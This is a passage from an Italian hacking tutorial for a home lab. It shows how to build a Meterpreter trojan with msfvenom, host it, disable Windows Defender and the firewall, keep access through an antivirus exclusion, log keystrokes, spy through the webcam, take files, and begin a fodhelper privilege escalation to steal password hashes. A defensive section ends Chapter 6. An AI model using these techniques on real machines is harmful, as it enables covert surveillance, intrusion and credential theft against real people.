Che cosa fa effettivamente questo comando? Comunica allo strumento msfvenom di Metasploit di creare un malware contenente la shell Meterpreter, un’interfaccia che dà il controllo sulla riga di comando (shell) della VM Windows da Kali.

Il parametro LHOST= comunica alla shell Meterpreter da dove ricevere i comandi, ossia l’indirizzo IP della VM Kali. L’opzione -f exe dice a msfvenom che il formato (-f) dell’output dev’essere un file di programma eseguibile Windows (exe). L’opzione -o indica a msfvenom il nome e la posizione del file di output: in questo caso un file di nome Fortnite_cheat_mode.exe salvato sul desktop (~/Desktop/ o ~/Scrivania/, a seconda della lingua dell’interfaccia di Kali).

Condividere il malware

Ora abbiamo un trojan perfettamente funzionante sotto Windows e dobbiamo quindi trovare il modo di farlo arrivare alla macchina virtuale Windows. Spesso un aggressore cerca di inviare il trojan via e-mail, ma quasi tutti i programmi di e-mail oggi fanno una scansione degli allegati; inoltre è comunque sconsigliabile provare a inviare un trojan sulla tua e-mail personale. Creeremo invece una cartella condivisa a cui l’utente Windows può accedere attraverso il browser web.

1.Inserisci questo comando nella finestra di msfconsole per creare una cartella share nella posizione predefinita delle cartelle condivise nella maggior parte dei computer con Linux:
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2.Copia il trojan nella nuova cartella (ricorda di sostituire Scrivania a Desktop se usi la versione con interfaccia in italiano):
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3.Avvia l’applicazione Apache Web Server in modo che la cartella sia accessibile dal Web:
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4.Per verificare se effettivamente ora il trojan può essere scaricato, apri il browser web nella VM Kali e accedi a http://<10.0.9.x>/share, ricordando di sostituire <10.0.9.x> con l’indirizzo IP della VM Kali. Viene visualizzata una pagina web come quella illustrata nella Figura 6.3.
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Figura 6.3: Grazie all’Apache Web Server di Kali il trojan può essere scaricato dal Web (virtuale)!

Ascoltare il trojan

Ora dobbiamo preparare Metasploit perché si metta in ascolto delle connessioni in ingresso dalle macchine Windows infette; nel mondo degli hacker, a volte si dice telefono casa, come la celebre frase di E.T. nell’omonimo film. Una connessione in ingresso consente di inviare comandi dannosi per controllare una macchina da remoto. Solitamente un aggressore cerca di inviare un allegato e-mail con un virus a migliaia o milioni di vittime potenziali, in attesa di vedere se qualcuno apre l’allegato e si infetta. Nel caso di questo esempio infetteremo solo la VM Windows. Seguendo questa semplice procedura, tuttavia, siamo in grado di ricevere connessioni in ingresso e controllare svariati computer infetti in una volta sola.

1.Inserisci questo comando al prompt msf6 > per indicare a Metasploit di gestire, o accettare, più connessioni in entrata da parte di svariati computer infetti:
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Il prompt di msfconsole cambia e indica che è attivo l’exploit multi/handler.

2.Ora bisogna dire a Metasploit che il payload (ossia il programma malevolo che stiamo facendo passare) del trojan è una shell Meterpreter:

[image: ]

msfconsole risponde con PAYLOAD => windows/meterpreter/reverse_tcp: significa che ha selezionato il payload Meterpreter.

3.Inserisci l’indirizzo IP della VM Kali per indicare all’host locale dove arriveranno le connessioni (ricordati di specificare l’ultimo numero):
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Metasploit risponde con LHOST => 10.0.9.x per indicare che l’opzione dell’host locale è stata impostata correttamente.

4.Ed eccoci giunti finalmente al momento tanto atteso: lanciare l’exploit!
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L’opzione -j indica a Metasploit di eseguire l’handler in background, in modo da poter usare msfconsole mentre si rimane in attesa che una macchina infetta si connetta alla VM Kali. Metasploit conferma che l’exploit è in esecuzione in background, pronto ad accettare connessioni in entrata sulla porta 10.0.9.x:4444 della VM Kali.

Infettare la VM Windows

Il trojan è pronto. Ora dobbiamo infettare la VM Windows. Per prima cosa disabilitiamo un paio di caratteristiche di sicurezza di Windows che rendono più difficile, per gli utenti, fare qualcosa di tanto stupido come scaricare e aprire un file sospetto da Internet. Dopo aver disabilitato questi sistemi di sicurezza, faremo esattamente una cosa tanto stupida.

AVVISONon scaricare mai un virus sulla macchina host, nemmeno se sei stato tu a creare il virus, perché in tal modo esponi il tuo computer ad aggressori esterni senza nemmeno rendertene conto.

Ricordati che la VM Windows è stata creata per esercitarti in queste tecniche di hacking nella maniera più sicura possibile. Se fai un disastro, per esempio infetti la macchina con un trojan, basta che la cancelli e ne crei una nuova. Tenendo presente quanto detto, avvia la VM Windows 10 in VirtualBox, inserendo il nome utente IEUser e la password Passw0rd!, e andiamo a iniziare.

1.Digita cmd nella barra di ricerca per aprire il prompt dei comandi. Fai clic destro sul prompt e scegli Esegui come amministratore. Nella finestra popup che ti chiede se vuoi consentire all’app di apportare modifiche al dispositivo, scegli Sì.

2.Nella finestra Amministratore: Prompt dei comandi visualizzata, inserisci questo comando per disattivare il firewall della VM Windows:
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Normalmente, in Windows è presente un firewall che blocca il traffico malevolo o indesiderato proveniente da computer esterni, evitando che il computer possa creare connessioni sospette con server potenzialmente dannosi. Dopo l’esecuzione del comando, in basso a destra compare una finestra popup che propone di attivare il firewall di Windows. Windows avverte che è pericoloso lasciare disattivato il firewall (e in effetti lo è), ma è esattamente ciò che stiamo cercando di fare con questo hack remoto.

3.Ora disattiviamo Windows Defender, un altro strumento di sicurezza. Inserisci virus nella barra di ricerca e apri le impostazioni Protezione da virus e minacce.

4.Clicca su Gestisci impostazioni e porta su Disattivato gli interruttori Protezione in tempo reale e Protezione fornita dal cloud. Windows chiede nuovamente se vuoi consentire all’app di apportare modifiche al dispositivo. Clicca su Sì. A questo punto la VM Windows 10 è vulnerabile come circa un quarto dei PC del pianeta.

NOTAIn caso di difficoltà a eseguire questo hack, ripeti i passaggi da 1 a 4 per disattivare il firewall e la protezione dai virus. Per questioni di sicurezza, Windows 10 riattiva automaticamente queste funzionalità ogni volta che avvii il computer e, a volte, anche mentre stai lavorando.

5.Apri il browser Edge e accedi a http://<10.0.9.x>/share/.

6.Clicca sul trojan e scegli Salva per scaricare il file nella cartella Download della VM Windows.

7.Il momento della verità: apri la cartella Download della VM Windows e fai doppio clic sull’eseguibile del trojan per lanciarlo.

8.In realtà, i PC con Windows 10 dispongono di diversi strati di protezione dai virus, proprio per evitare errori stupidi come quello che abbiamo appena commesso. Windows Defender SmartScreen mostra una finestra di avviso che impedisce l’esecuzione di un’app non riconosciuta, come illustrato nella Figura 6.4. Clicca su Altre informazioni, quindi Esegui comunque.

Finalmente ce l’abbiamo fatta! Hai preso il controllo del tuo primo computer. Nella VM Windows non sembra succedere proprio nulla, ma se passi alla VM Kali dovresti vedere qualcosa di simile in msfconsole:
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La VM Windows ha fatto una chiamata a Kali e ha stabilito una connessione, nota anche con il termine di sessione. Congratulazioni: a questo punto la VM Windows attende solo il tuo comando!

NOTASe non ottieni un messaggio di sessione in Kali, prova innanzitutto a scaricare ed eseguire nuovamente il trojan. Se necessario, disattiva nuovamente il firewall di Windows e la protezione antivirus in tempo reale. Assicurati che le due VM siano connesse alla stessa rete. Sotto Impostazioni ▶ Rete per ciascuna VM in VirtualBox Manager verifica che Connessa a sia impostato su Rete con NAT (non su NAT) e che la rete sia impostata su PublicNAT. Se il trojan non riesce ancora a comunicare con la VM attaccante, riavvia entrambe le VM e ripeti tutti i passaggi illustrati in precedenza nel capitolo. Vale sicuramente la pena faticare un po’ di più per ottenere il risultato sperato.
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Figura 6.4: Windows Defender SmartScreen cerca per un’ultima, eroica volta di proteggere la tua VM Windows.

Controllare la VM Windows con Meterpreter

Ora che siamo riusciti a stabilire una connessione fra le VM Kali e Windows, possiamo iniziare a manipolare la macchina Windows da Metasploit. Per iniziare, digita sessions nel terminale di Metasploit per visualizzare l’elenco di connessioni attive di Metasploit:
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Avrai certamente notato che siamo connessi a una macchina Windows 10 infetta chiamata MSEdgeWin10 con nome utente IEUser: è la tua VM Windows! L’ID della sessione è 1. Se hai eseguito il trojan anche su altre macchine, qui vengono elencate svariate sessioni, ciascuna con il proprio ID. Analogamente, se devi ristabilire la connessione con la VM Windows, l’ID con cui viene elencata cambia, per esempio diventando 2.

Digita sessions -i 1 per iniziare a interagire con la VM Windows:
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A questo punto il prompt dei comandi diventa meterpreter > per indicare che stiamo interagendo con la shell di Meterpreter sulla VM Windows remota.

Proviamo a inserire qualche comando. Digita sysinfo: verranno visualizzate svariate informazioni sul computer, come il sistema operativo (OS), la lingua di sistema e altre:
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Proviamo un altro comando, pwd, che sta per print working directory (stampa directory di lavoro) per verificare in quale cartella è in esecuzione la shell di Meterpreter:
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Il risultato indica che la shell di Meterpreter è in esecuzione nella directory Download della VM Windows, ossia la cartella in cui è stato scaricato il trojan.

Digita help per visualizzare alcuni dei comandi più comuni che puoi eseguire sulla VM Windows da remoto nella shell di Meterpreter. Vi sono comandi che possono servire a eseguire programmi, a terminare processi in esecuzione, a spegnere o riavviare la macchina remota, a ripulire i log degli eventi (per coprire le tracce quando fai hacking), per catturare le sequenze di tasti, per catturare delle schermate e per spiare il desktop o la webcam dell’utente remoto, per citarne solo alcuni.

In totale, come aggressore hai a tua disposizione oltre cento comandi che ti consentono di prendere il controllo quasi completo di un computer. Un parziale elenco di questi comandi è illustrato nella Figura 6.5.

Per capire quanto sia seria una minaccia di questo genere, vediamo con quanta facilità un aggressore può hackerare file, tastiera, webcam e altro attraverso un file infetto.

Non tutti i comandi che useremo funzioneranno tutte le volte che li provi: in alcuni casi potrebbero volerci più tentativi. La semplice osservazione di quale tipo di danni questi comandi sono in grado di fare dovrebbe essere una motivazione sufficiente a non installare mai un software da una pagina web sconosciuta o da un allegato e-mail sospetto.
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Figura 6.5: Una selezione di comandi di Meterpreter piuttosto spaventosi che si possono usare per controllare la VM Windows infetta.

Visualizzare e caricare file

Inizieremo l’exploit della VM Windows navigando tra i file del computer e caricando una copia di backup del trojan sulla VM Windows.

1.Al prompt dei comandi meterpreter >, inserisci i comandi sotto riportati per aprire la directory Documenti della VM infetta e visualizzare il contenuto della cartella:
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Vengono riportate le cartelle per musica, immagini, video e altro, come qualsiasi computer Windows. Un aggressore può usare questi comandi per navigare nel computer target e osservare se vi sono file interessanti di cui appropriarsi.

2.Carica una copia del malware Fortnite_cheat_mode.exe dalla VM Kali alla cartella Documenti:
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3.Torna alla VM Windows 10 e apri la cartella Documenti. Dovresti poter vedere il trojan appena caricato, come illustrato nella Figura 6.6.

Ora sulla VM Windows è presente un backup del trojan. Dalla cartella Documenti possiamo copiarla e incollarla in Download, nel caso in cui Windows Defender si riavvii e cancelli il trojan da quest’ultima. Quando qualcuno apre un singolo file infetto da Web o da un’e-mail, spesso l’aggressore carica svariati virus in diverse posizioni sul computer target, in modo da assicurarsi di riuscire a mantenerne il controllo.
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Figura 6.6: Possiamo caricare dei file sulla macchina virtuale Windows 10 infetta da Kali.


MANTENERE L'ACCESSO AGGIUNGENDO UN’ESCLUSIONE PER METERPRETER

Mentre usi questi hack, Windows Defender di tanto in tanto potrebbe riattivarsi, in maniera apparentemente casuale, e cancellare l’eseguibile del trojan. Per risparmiarti un po’ di fatica, puoi escludere la cartella Download e/o Documenti dalla scansione dell’antivirus. Vai a Sicurezza di Windows ▶ Protezione da virus e minacce ▶ Gestisci impostazioni, scorri verso il basso fino a Esclusioni e clicca su Aggiungi o rimuovi esclusioni. Clicca su Aggiungi esclusione, seleziona Cartella dal menu a discesa e seleziona la cartella Download. Windows chiede se vuoi consentire all’app di apportare modifiche al dispositivo. Fai clic su Sì: vedrai che la cartella C:\Users\IEUser\Downloads è stata aggiunta all’elenco delle esclusioni. Ora il trojan non viene più toccato anche se Windows Defender torna attivo. Questo è uno dei sistemi con cui un aggressore può mantenere l’accesso al PC una volta che è riuscito a controllarlo grazie a Meterpreter.



Scaricare file dal computer target

Il comando download di Meterpreter consente di scaricare un file dal computer target. Proviamo a creare un file di testo sulla VM Windows e quindi ad appropriarcene.

1.Inserisci questo comando al prompt dei comandi meterpreter > per prendere il controllo da remoto del terminale, o shell del computer target:
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2.Ora crea un file denominato hacked.txt contenente il testo “Sei stato hackerato!”.
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3.Verifica il contenuto della cartella Documenti nella VM Windows: dovrebbe essere presente, fra gli altri, anche il file hacked.txt appena creato da remoto con Kali.

4.Torna a Kali, esci dalla shell di Windows e torna a Meterpreter.
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5.Ora scarica il file da Windows sulla VM Kali:
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6.Usa il comando seguente per visualizzare il contenuto del file, ossia il messaggio “Sei stato hackerato!”:
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Ci siamo riusciti! Abbiamo scaricato un file dal computer della vittima. In questo caso, il file era stato creato da noi remotamente utilizzando la macchina virtuale attaccante; in un attacco hacker reale, un aggressore potrebbe scaricare informazioni decisamente più importanti.

Qualsiasi file a cui l’utente Windows può accedere può essere scaricato da un aggressore se l’utente Windows esegue il trojan Meterpreter: con pochi comandi, è possibile appropriarsi di elenchi di utenti, foto di famiglia, fogli di calcolo dei budget, moduli delle tasse, dichiarazioni della banca, dati dei dipendenti, cartelle cliniche, proprietà intellettuali preziose o dati sensibili di qualsiasi tipo (fra i quali anche le credenziali di accesso alla banca, le e-mail...).

Visualizzare lo schermo del computer target

I trojan come la shell di Meterpreter spesso vengono chiamati backdoor (letteralmente: porta sul retro) perché consentono a un aggressore di accedere al computer bypassando tutte le altre misure di sicurezza, ivi compresa quella di login: è un po’ come entrare in casa dalla porta sul retro. Nel momento in cui hai cliccato sul trojan Meterpreter nella VM Windows, hai aperto una porta segreta nel computer grazie a cui l’attaccante (che poi sei sempre tu, ma questa è solo una simulazione di ciò che può accadere nel mondo reale) può caricare o scaricare file. La cosa è ancora peggio del previsto: infatti hai dato alla VM attaccante la possibilità di visualizzare il contenuto dello schermo, registrare le sequenze di tasti che digiti, perfino accedere alla webcam! Proviamo a visualizzare la schermata della VM Windows da Kali.

1.Digita screenshot -v true nella shell di Meterpreter. Questo comando consente a un aggressore di scoprire quale utente della macchina target sta osservando.
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2.Viene visualizzata una finestra pop-up con uno screenshot della VM Windows, come illustrato nella Figura 6.7.
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Figura 6.7: Catturare uno screenshot dalla VM Windows.

3.Prova a fare un passo avanti e a spiare il computer della vittima in tempo reale. Digita il comando screenshare in Meterpreter:
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Questo comando non sempre funziona e potrebbe rallentare enormemente entrambe le VM (e il computer host), dal momento che cerca di inviare in streaming il video dello schermo della VM Windows 10 sulla rete virtuale alla VM Kali. Se però dovesse funzionare, potrai vedere il desktop della VM Windows 10 in una finestra del browser di Kali, come illustrato nella Figura 6.8.

4.Passa alla VM Windows e prova a spostare qualche file o qualche finestra, a svuotare il Cestino o ad aprire una pagina web. Se disponi di più monitor o di un monitor molto grande in cui ci sia lo spazio per visualizzare entrambe le VM, puoi guardare tutto ciò che fai nella VM Windows attraverso il video in streaming nel browser di Kali. Un po’ preoccupante, in effetti.

5.Clicca nuovamente nella finestra del terminale di Meterpreter in Kali e premi Ctri+C per interrompere la condivisione dello schermo.

NOTASe il comando screenshare non dovesse funzionare la prima volta, oppure se si blocca, riprova. Ricorda che non tutti i comandi funzionano sempre perfettamente ogni volta che li usi.
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Figura 6.8: Il comando screenshare consente a un aggressore di spiare il desktop di Windows attraverso Internet.

Registrare le sequenze di tasti

Quando ha il controllo di una macchina, un aggressore può registrare ogni sequenza di tasti del computer della vittima, il che gli consente di vedere tutto quanto sta digitando l’utente, compresi ricerche, comandi, password e altro. Vediamo come si fa.

1.Digita keyscan_start nella shell di Meterpreter per iniziare la registrazione di sequenze di tasti dal computer target:
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2.Torna alla VM Windows, digita blocco note nella barra di ricerca e apri l’app Blocco note.

3.Inserisci queste informazioni nel Blocco note:
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Va da sé che non devi mai memorizzare informazioni sensibili come testo semplice sul computer; purtroppo, sono molte le persone che lo fanno.

4.Torna alla VM Kali e digita keyscan_dump per visualizzare le sequenze di tasti registrate:
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Meterpreter ha catturato tutte le sequenze di tasti digitate dall’utente Windows 10, ivi compresi i caratteri speciali come <CR> (abbreviazione di carriage return, ossia “ritorno a capo”, che è in pratica la stessa cosa del tasto Invio). Digitare dati sensibili in un file di testo magari è un esempio poco realistico, ma prova a immaginare che l’utente stesse scrivendo il proprio numero di carta di credito in un sito di shopping online o digitando il proprio nome utente e password per accedere al portale web della propria banca.

5.Digita keyscan_stop nella shell di Meterpreter per interrompere la registrazione di sequenze di tasti dal computer target:
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AVVISOLa scansione delle sequenze di tasti e lo spionaggio attraverso la webcam (di cui parleremo fra breve) sono due degli hacking più terrificanti. Sono però anche due dei più rumorosi, ossia possono creare parecchio traffico di rete, con il rischio di “risvegliare” Windows o altri strumenti di sicurezza. Se la shell di Meterpreter perde la connessione, prova a eseguire nuovamente il trojan scaricato. Se ancora non funziona, prova a riavviare la VM Windows e segui i passaggi con cui disattivi Windows Firewall e Windows Defender. Chiudi Metasploit, riaprilo e riattiva il trojan, partendo dal comando use exploit/ multi/handler. Dopo aver digitato exploit -j in Meterpreter, torna alla VM Windows ed esegui il trojan: dovresti così riuscire a stabilire nuovamente una sessione Meterpreter. Più volte ti eserciti in questo hack, meglio imparerai a eseguirlo.

Spiare attraverso la webcam

Se registrare le sequenze di tasti non ti sembra ancora abbastanza spaventoso, l’idea che qualcuno possa spiarti attraverso la webcam del tuo computer dovrebbe farti desiderare di trasferirti su un’isola deserta dove non c’è Internet (o almeno convincerti a coprire la webcam con un post-it).

La connessione della webcam alla VM Windows potrebbe non funzionare, ma anche se non riesci ad attaccare te stesso, lo stesso attacco condotto contro computer Webcam reali dotati di webcam è solitamente molto affidabile.

Per procedere, occorre una webcam (quella integrata nel portatile oppure una webcam USB connessa a un computer desktop) e la pazienza di eseguire questo hack da cima a fondo diverse volte, seguendo i passaggi nel box Attenzione qui sopra.

1.Verifica se la webcam è riportata sotto Dispositivi ▶ Webcam nella barra dei menu della VM Webcam. In caso affermativo, selezionala e passa al punto 6. In caso contrario, devi connettere la webcam alla VM.

2.Chiudi la VM Windows e seleziona Spegni la macchina.

3.In VirtualBox Manager, seleziona la VM Windows e seleziona Macchina ▶ Impostazioni o Macchina ▶ Impostazioni ▶ Porte (su macOS). Seleziona la scheda USB nella finestra Impostazioni e attiva la casella di controllo accanto a Abilita controller USB.

4.Riavvia la VM Windows Seleziona Dispositivi ▶ Webcam o Dispositivi ▶ USB dalla barra dei menu della VM Windows, quindi seleziona il nome della webcam.

5.Disattiva il firewall di Windows e Defender, quindi esegui nuovamente il trojan.

6.Digita webcam_list al prompt di Meterpreter in Kali per verificare se la webcam è disponibile. Dovrebbe essere visualizzato un messaggio come il seguente:
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La mia webcam viene visualizzata come VirtualBox Webcam - Logitech HD Webcam C310, per esempio.

7.Digita webcam_stream per connettere la webcam a Meterpreter.
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Meterpreter apre Firefox e trasmette il video in streaming dalla webcam della VM Windows, come illustrato nella Figura 6.9.
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Figura 6.9: Lo stream della webcam mostra me e la mia scrivania nel mio ufficio.

Il LED della webcam si dovrebbe accendere, a indicare che è attiva. A differenza dei comandi screenshare e keyscan, l’hack della webcam consente alla vittima di accorgersi che qualcuno la sta spiando. Se per caso il LED della webcam si dovesse accendere mentre non la stai usando, ti consigliamo vivamente di eseguire una scansione antivirus approfondita e di riavviare il computer per verificare che il LED si spenga. Non fidarti troppo, però, del LED della webcam: alcuni hack avanzati, infatti, consentono di usarla per spiare anche senza che si accenda.

Questo è il motivo per cui è importante adottare le misure di sicurezza descritte nel paragrafo che segue.

Per impedire lo streaming di video dalla webcam della VM Windows, chiudi Firefox e premi Ctrl+C nella finestra di Meterpreter: in tal modo il comando webcam_stream viene interrotto. Prendi un post-it o un pezzetto di carta adesiva e copri la webcam del portatile!

Difendersi dal malware

Come abbiamo visto in questo capitolo, è facilissimo creare e distribuire virus. Qualsiasi allegato e-mail, link, pagina web, app o video sospetto che ricevi o apri potrebbe contenere malware che non aspetta altro che tu lo avvii. Gli aggressori non hanno nemmeno bisogno di particolari abilità: gli basta usare Metasploit e indurre qualcuno a scaricare il virus. Quando un computer è infettato, gli attacchi che un hacker non etico potrebbe scagliarvi contro sono decisamente spaventosi.

Ecco alcune misure di difesa che puoi adottare.


Aggiorna il software con regolarità.Aggiorna il sistema operativo e le applicazioni, dall’elaboratore di testi al browser web passando per il lettore PDF, almeno una volta al mese. Scegli un giorno del mese, per esempio il primo, il 15, il 30, e segnalo sul calendario: è il giorno in cui devi procedere all’aggiornamento. È semplicemente una delle cose che devi fare, come pagare le bollette o rasare il giardino. La maggior parte degli oltre duemila exploit presenti in Kali sono progettati per attaccare versioni obsolete del software; pertanto, se mantieni il sistema aggiornato sei meno vulnerabile agli attacchi.

Usa un firewall e un software antivirus.Mantieni attivo il firewall e aggiorna il software antivirus con regolarità. Esistono svariati software antivirus gratuiti o a basso costo. Cerca quelli che riescono a bloccare più malware e aggiorna l’antivirus settimanalmente, o, meglio ancora, attiva gli aggiornamenti automatici per garantirti la massima protezione.

Pensa prima di cliccare.Il malware può essere lanciato attraverso un programma infetto, un video pirata, perfino documenti Office o PDF. I siti di condivisione di file peer-to-peer sono grondanti di file infetti che aspettano solo delle vittime ignare. Esegui VirusTotal o altri sistemi per la scansione di virus su qualsiasi file scaricato da fonti non affidabili ed evita assolutamente di scaricare file sospetti o illegali.



Adottando queste misure, anche se non diventi invincibile riuscirai comunque a evitare la maggior parte degli attacchi basati su malware. Inoltre, diventerai un soggetto difficile da attaccare, tanto che molti hacker preferiranno dedicarsi ad altre vittime potenziali. Molti attacchi sono basati sul concetto di cogliere il frutto più basso, ossia facili opportunità di accesso a un sistema, come nel caso di un software obsoleto, di un firewall disabilitato o di un antivirus inattivo, oppure un utente che apre link o scarica file senza fare una scansione preventiva. Purtroppo, di frutti a portata di mano ce n’è a sufficienza per tenere impegnati gli hacker, pertanto poche precauzioni come queste ti aiuteranno a tenerti al largo dal 90% dei possibili attacchi.

Oh... e ricordati di coprire la webcam quando non la usi!

Cosa ho imparato

In questo capitolo hai imparato in che modo un aggressore può creare un malware e con quanta facilità è possibile infettare un computer non protetto. Grazie a Metasploit Framework hai creato in Meterpreter un trojan ad accesso remoto (RAT), ossia un particolare tipo di malware che dà a un aggressore il controllo del computer da qualsiasi punto del mondo si trovi attraverso una connessione Internet. Hai condiviso il malware su una rete attivando Apache Web Server nella VM Kali Linux e copiando il trojan su una cartella web condivisa. Hai quindi scaricato il malware sulla VM Windows e hai aperto il file per infettare la macchina.

Quindi hai preso il controllo della VM Windows dalla shell remota di Meterpreter in Kali. Hai imparato in che modo un aggressore può caricare e scaricare file, rubare screenshot, registrare sequenze di tasti e spiare attraverso una webcam utilizzando solo un paio di comandi. Per la maggior parte degli attacchi, la VM Windows non mostra nemmeno che sei sotto attacco.

Infine, hai imparato come si evita la maggior parte degli attacchi basati su malware. Evitare download, link e siti web sospetti, tenere acceso il firewall e attivare e tenere aggiornato il software antivirus, aggiornare regolarmente il sistema operativo e le applicazioni sono precauzioni essenziali. Adottando più livelli di sicurezza diventi molto più difficile da aggredire, il che comporta che la maggior parte degli aggressori preferirà scegliere prede più facili.

Nel prossimo capitolo impareremo di più, scoprendo in che modo un hacker non etico può usare Meterpreter e altri strumenti per rubare e craccare le password.




7

RUBARE E VIOLARE LE PASSWORD
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Abbiamo visto nel Capitolo 6 come fa un aggressore a creare un malware per infettare il computer e visualizzare file, sequenze di tasti, schermo, video della webcam e altro. In questo capitolo vedremo in che modo un aggressore può usare lo stesso malware per impadronirsi delle password crittografate di tutti gli utenti di un computer Windows. Scopriremo poi come fanno gli hacker a violare (ma i veri hacker parlano di craccare) tali password, ossia recuperarle nella loro forma non crittografata.

Se un aggressore riesce a violare una password, può riuscire ad accedere a qualsiasi account, sito web o dispositivo in cui la password è utilizzata, anche se hai aggiunto caratteri aggiuntivi per renderla “unica” per gli altri account. Una password debole può essere violata facilmente e consente a un hacker black hat di penetrare nella rete di un’organizzazione o in un account privato. Se invece la password è sufficientemente forte, anche se un aggressore riesce a impossessarsi della sua forma crittografata non riuscirà a violarla.

Hash della password

I moderni sistemi informatici e i siti web sicuri crittografano le password con una funzione di hash, o funzione crittografica di hash, prima di memorizzarle.

A differenza di quanto accade nei film di spionaggio, dove il codice digitato a un capo di una trasmissione viene inviato e decodificato all’altro capo, una funzione crittografica di hash codifica la password in un modo che non ne consente la decodifica, producendo ciò che in informatica prende il nome di digest. La versione hashed della password (il digest della password) è nota come hash della password. Gli hash sono lunghe stringhe di valori esadecimali, come riportato nel Listato 7.1.
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Listato 7.1: Versioni hashed di cinque password.

Quando accedi a un computer o a un sito web, l’unico modo di cui il sistema dispone per verificare se hai inserito la password corretta è eseguire la stessa funzione di hash sui caratteri che hai digitato, confrontando quindi il risultato (il digest) con l’hash della password memorizzato nel suo database.

Esistono moltissimi tipi di funzioni di hash, che hanno numerose caratteristiche in comune.

•In una determinata funzione di hash, lo stesso test in input produce sempre lo stesso valore di hash. Questa caratteristica è indispensabile per fare sì che l’hash della password memorizzato nel database possa essere confrontato con l’hash della password che viene digitato quando si accede a un sistema a cui si è già avuto accesso.

•Ogni hash di una particolare funzione di hash ha la stessa lunghezza, indipendentemente dalla lunghezza del testo di input. Dal momento che una password formata da una singola parola e una formata da cinque parole producono un digest esattamente della stessa lunghezza, la funzione di hash nasconde la reale lunghezza della password.

•Il cambiamento anche solo di un carattere nell’input produce un digest completamente diverso. Pertanto, anche l’aggiunta di un singolo carattere a una password cambia radicalmente il digest.

Rubare gli hash della password di Windows

In questo paragrafo useremo la VM Kali Linux per rubare i dati delle password dalla VM Windows 10. Per prima cosa creeremo svariati nomi utente e password nella VM Windows 10. In secondo luogo, useremo il trojan di accesso remoto Meterpreter per penetrare nella VM Windows 10. Infine, useremo lo strumento Mimikatz di Metasploit per rubare gli hash delle password dalla macchina Windows 10 target.

Creare utenti Windows

Per prima cosa aggiungiamo alcuni utenti alla VM Windows 10 in modo da potere in seguito rubarne le password.

1.Apri la VM Windows 10 in VM e accedi con IEUser e Passw0rd!.

2.Digita cmd nella barra di ricerca, fai clic destro sull’app Prompt dei comandi e clicca Esegui come amministratore. Clicca su Sì quando Windows chiede se vuoi consentire all’app di apportare modifiche al dispositivo.

3.Crea un nuovo account utente con lo stesso comando usato durante l’hack Sticky Keys del Capitolo 2:
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Questo comando aggiunge un utente di nome ironman con password Jarvis.

4.Ora aggiungi altri account utente con password di diversa complessità e lunghezza:
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5.Dopo l’ultimo comando, Windows ti avverte che la password ha una lunghezza maggiore di 14 caratteri (che era il limite di lunghezza delle password per le macchine Windows prima dell’anno 2000!). Digita S per utilizzare comunque la password lunga.

6.Crea una passphrase complessa, costituita da almeno quattro parole più un numero o un carattere speciale, per un nome utente costituito dal tuo nome, prestando però molta attenzione a usare una passphrase che non usi per nessun account reale, dal momento che cercheremo di violarla. Ecco la mia:
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Magari pensi che una passphrase come questa sia troppo difficile da digitare ogni volta che fai login, ma in realtà è più facile da ricordare e più difficile da indovinare della maggior parte delle password aggiunte fino adesso.

Penetrare nuovamente nella VM Windows 10 con Meterpreter

Ora dobbiamo penetrare nuovamente nella VM Windows 10 da Kali.

1.Avvia la VM Kali, accedendo con nome utente e password kali; quindi, apri l’app Metasploit clcicando sul menu di Kali e selezionando 08 - Strumenti di Exploiting ▶ metasploit framework.

2.Al prompt dei comandi msf6>, digita il comando seguente per avviare nuovamente il server web di Kali:
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Il server web mette a disposizione la cartella 10.0.9.x/share contenente il malware Windows, nel caso in cui sia necessario scaricarlo nuovamente.

3.Inserisci i quattro comandi seguenti in Metasploit per mettere il trojan Metasploit in ascolto:
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Ricordati di cambiare 10.0.9.x sull’indirizzo IP della VM Kali (digita ip addr o ip a per visualizzare l’indirizzo IP).

4.Torna alla VM Windows 10. Disattiva la protezione antivirus in tempo reale di Windows Defender: digita virus nella barra di ricerca di Windows, apri Protezione da virus e minacce, clicca su Gestisci impostazioni e porta su Disattiva l’interruttore sotto Protezione in tempo reale.

5.Digita questo comando in un prompt dei comandi con privilegi di amministratore nella VM Windows 10 per disattivare anche il firewall di Windows:
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Windows risponde con OK.

6.Trova il trojan Meterpreter creato nel Capitolo 6. Dovrebbe essere ancora nella cartella Download o Documenti. Se Windows Defender l’ha rimosso, apri il browser Edge, vai a http://<10.0.9.4>/share/ (ricordandoti di sostituire l’indirizzo IP della tua VM Kali VM se è diverso da 10.0.9.4) e scarica nuovamente il trojan. Verifica ancora una volta che la protezione in tempo reale sia disattivata nelle impostazioni di protezione da virus e minacce; quindi, fai doppio clic sul trojan per eseguirlo. Se interviene SmartScreen, clicca su Informazioni, quindi su Esegui comunque.

7.Torna alla VM Kali, dove dovrebbe essere visibile una sessione Meterpreter aperta:
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Privilege escalation

Per rubare password di Windows è necessario disporre di privilegi di amministratore, ossia a livello di sistema (privilegi di root in Linux), un livello di accesso più alto rispetto a quello dell’account IEUser utilizzato per avviare il trojan Meterpreter. Grazie a Metasploit è possibile alzare i privilegi di accesso con un altro exploit. Questa procedura è nota con il termine di privilege escalation (in italiano acquisizione dei privilegi amministrativi).

Utilizzeremo l’exploit Metasploit della vulnerabilità fodhelper di Windows per ottenere accesso a livello di sistema. Windows usa un programma chiamato fodhelper.exe, dove fod sta per “features on demand”, per gestire le impostazioni regionali come il layout della tastiera.

L’app è uno degli obiettivi preferiti dagli hacker, perché per poter modificare le impostazioni di lingua su tutte le app, come il browser web, l’elaboratore di testi e il desktop, viene eseguita con privilegi elevati.

1.Nella VM Kali verifica di trovarti al prompt dei comandi msf6 >, non di trovarti in una sessione di Meterpreter. Se il prompt dei comandi è meterpreter >, digita background per tornare a msf6 >:
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2.Dal prompt msf6 > inserisci i cinque comandi riportati in grassetto:
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Il comando set SESSION va impostato sul numero di sessione corretto (se non è 1), mentre il comando LHOST va impostato sull’indirizzo IP della macchina Kali.

3.L’ultimo comando, exploit, potrebbe richiedere un paio di tentativi. Se ricevi un messaggio che indica no session was created, premi la freccia verso l’alto e premi Invio per eseguire nuovamente il comando exploit. Quando il comando riesce, vedrai il messaggio Meterpreter session 2 opened: significa che l’exploit ha aperto una seconda sessione. Il prompt dei comandi cambia in meterpreter >, indicando che stai interagendo con una nuova sessione di Meterpreter.

